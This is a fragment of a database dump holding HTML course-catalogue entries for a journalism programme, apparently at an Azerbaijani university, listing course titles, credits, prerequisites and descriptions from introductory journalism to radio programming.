margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: JOUR 102</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Photo journalism as a news reporting technique. Production of pictures for publication. Basic photo editing, discussion of modern photographic methods.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 205: Editing: Theory and Practice (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: JOUR 203</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Writing, editing, illustration, design, layout, photo-composition of a single-issue magazine.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 206: Mass Communication Law (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: JOUR 204, 205</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Brief historical background. First Amendment rights, basic law of defamation, free press and fair trial, access to news, access to press, privacy, contempt, obscenity, regulation of broadcasting and advertising, antitrust controls, legal and ethical rules affecting journalistic practice.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 207: Reporting (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: JOUR 203</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Fact gathering and journalistic writing. Problems in judgement and handling of news and news features.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 208: Publishing and Printing (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: JOUR 203, 205</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Principles and techniques of publishing and printing on experience producing feature newspaper pages, computer designed newsletter and information graphics. Integrating photos, artwork and other graphic elements with text and numerical data.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 306: Magazine Writing</strong><strong>&nbsp;</strong><strong>(6 credits)&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: JOUR 204/JOUR 205</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Writing feature article for general, class, and trade publications; study of market freelance methods.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 307: Principles of Marketing (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: JOUR 205, JOUR 306</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Theory, principles, and functions of marketing; its role in economic, social, and marketing structure. Newspaper, magazines, radio, television as advertising media.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 308: History of Azerbaijani Press (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: Journalism major and minor</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Evolution of Azerbaijani Press and factors contributing to it. Periodization of the History of Azerbaijan Press. Modern Press, its functions and problems.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 309: Government and Mass Media (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: JOUR 206</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">News media as institution: its role, content, effects and responsibilities as a cultural force in society; origins and concept of freedom of information and evolution in constitutional law and judicial decisions; contemporary problems of censorship in publishing, broadcasting and film.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 310: Genres of Journalism (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: JOUR 101, 102</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Global analysis of internal and external broadcasting services with emphasis on their motives, origins, technologies and programming. Special attention to different genres of journalistic activities.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 312: Computer Assisted Journalism (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: CMS 103</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Potential computer application relevant to journalism activities in Newspaper, Magazine Radio, TV, and Film.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 313: Advanced Reporting Methods (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: JOUR 307, JOUR 308</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Investigative techniques for the mass media, including quantitative research methods, use of records and documents, analysis of statistics, advanced interviewing, and methods adverse conditions.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 314: Interpretive Reporting (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: JOUR 306, JOUR 307</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Advanced problems in reporting about government, politics, social problems, and the arts.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 401: Fundamentals of Television and Radio (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: JOUR 310</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Basics of radio and TV production and direction focusing on issues raised by recent development in Television and Radio, commercial and public issues associated with innovations of satellite, cable and cartridge systems, changes in public psychology and behavior.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 403: International Press and Media Networks (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: 9 credits from JOUR 3XX and 4XX courses</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Global analysis of internal and external broadcasting services, with emphasis on their motives, origins, technologies and programming. Special attention to political, economic and regulatory constraints affecting flow of world news and public information, organization and controls in the regional and international networks and information systems.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 404: Press and Broadcasting Management (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: 9 credits from JOUR 3XX and 4XX courses</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Press and Broadcasting Management functions, internal organizational structure, operational procedure. Business and production methods and management in the areas of advertising, business, circulation, editorial, personnel, production and promotion.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 405: History of Cinematography (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: Journalism major and minor</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Historical interdisciplinary and comparative approach to development of film in Azerbaijan, Europe, and US from the silent era through the Depression. Azerbaijan cinematography. Particular emphasis on interrelationship on film with its historical context and social dimensions of film structure, aesthetics, and language.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 406: Television and Radio Program (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: JOUR 401</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">The main problems of Radio and TV programming, business of Radio and TV programming; commercial, non-commercial, cable and home video. Main emphasis on several theoretical, research and applied areas.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 407: TV and Radio Speech Culture (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: NONE</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Speech culture as a part of rhetoric. Survey of different types of speeches, different means of communication skills, metaphors, metanomy, idioms, proverbs and sayings.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 408 Children’s Rights and Journalism (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: JOUR 101</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">This course learns the children’s rights in Mass Media. Today there are many child programs and publishing. But often the rights of children are broken in different meaning. Media is not only for adults, but also for children. Children are using and take part in different type of Mass Media. Children demand more sensible approach than adults. Mass Media and journalist must be more attentive to child in media. The course is offered by UNICEF for saving the Rights of Children.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 409: Advanced Television News (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: JOUR 307</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Preparation and delivery of television newscasts. The industry’s current problems; legal and ethical considerations. Social impact of electronic journalism.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 411:</strong><strong>&nbsp;</strong><strong>International Media and Information Systems</strong><strong>&nbsp;</strong><strong>(6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: NONE</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">In the ‘International Media and Information Systems’ course it takes the main part the reasons of the flowing of information in one-way from developed countries to developing countries, which had appeared from middle of the last century in the international journalism and the ways of solving the problem of global information, also the disclosure of the concepts as media imperialism and culture imperialism, which connected with this theme, the analysis of the position of Azerbaijan, as one of the developing countries, which it is effected from non-balanced steam of information.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">At the end of the course, the students will be able to make independently analysis of development of all kinds of media (the station of global media, the news agencies, advertising companies and so on), which it has power of influence in the today’s so-called ‘information society’ and processes taking place in the world information system in.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 412: Theory</strong><strong>&nbsp;</strong><strong>and Analysis of</strong><strong>&nbsp;</strong><strong>News (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: NONE</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">‘The Theory and Analysis of News’ course teaches techniques of the news analysis based on topics such as the notion of news, the preparation and transmission of information, as well as the types of news, values of news, news writing rules, etc. At the end of the course, the students will be able to compare of news taken part in the Mass Media and they will be able to look at maintenance of news analytically.</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>JOUR 413: Radio Programming (6 credits)</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Prerequisite: NONE</strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">The base of the \"Radio Programming\" course consists of preparation of different radio programs and the comparative analysis of those programs, which is used topics such as the place of the radio among mass media in our country and in the world, modern technical equipment and facilities used in radio studios, characteristics of radio broadcasting, radio programming and radio-speaker in past and today, the types and characteristics of the radio program, and etc.</p>'),(960,621,'en',' Courses',' Courses','<div><br></div><div style=\"text-align:justify\"><p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong></strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 101: Introduction to Journalism (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"text-align: justify;\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Nature, functions, and responsibilities of communication media\r\nand agencies from professional point of view. News, opinion, entertainment, and\r\npersuasion functions; current trends. Specialized communication; aspects of\r\nadvertising. Study and discussion of the historical, ethical and legal\r\nprinciples of journalism.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 102: History of Journalism (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: Journalism major or minor</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Development of newspapers and periodicals from beginnings to\r\npresent day; rise of radio and television; relation of communications,\r\ndevelopments of political, economic, and social trends.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 105: Newspapers, Magazines and Periodicals (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: Journalism major or minor</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Information resources for professional and academic work in mass\r\ncommunication; techniques for locating, retrieving, appraising, and verifying\r\ninformation acquired from public records, libraries, research institutions,\r\ndatabases, and interviews.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 202: Mass Communication Ethics (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Ethical values in international and also Azerbaijani journalism.\r\nThe purpose of the course is to glance at today’s Azerbaijani journalism and to\r\ncompare with Western journalism (Freedom of Mass Media, Mass Media Ethics and\r\nso on). The Mass Media Ethics deals with international Journalists ’Code of\r\nEthics (or Professional Code of Ethics) that determines journalists’ ‘ethical\r\nframe’.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 203: News Writing (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: JOUR 102</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Writing and producing news for newspapers, television, and\r\nmagazines. Basic news writing style methods for the different media.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 204: Photo Journalism (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: JOUR 102</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Photo journalism as a news reporting technique. Production of\r\npictures for publication. Basic photo editing, discussion of modern\r\nphotographic methods.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>JOUR 205: Editing: Theory and Practice (6 credits)</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: JOUR 203</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Writing, editing, illustration, design, layout,\r\nphoto-composition of a single-issue magazine.</p>\r\n<p style=\"\" 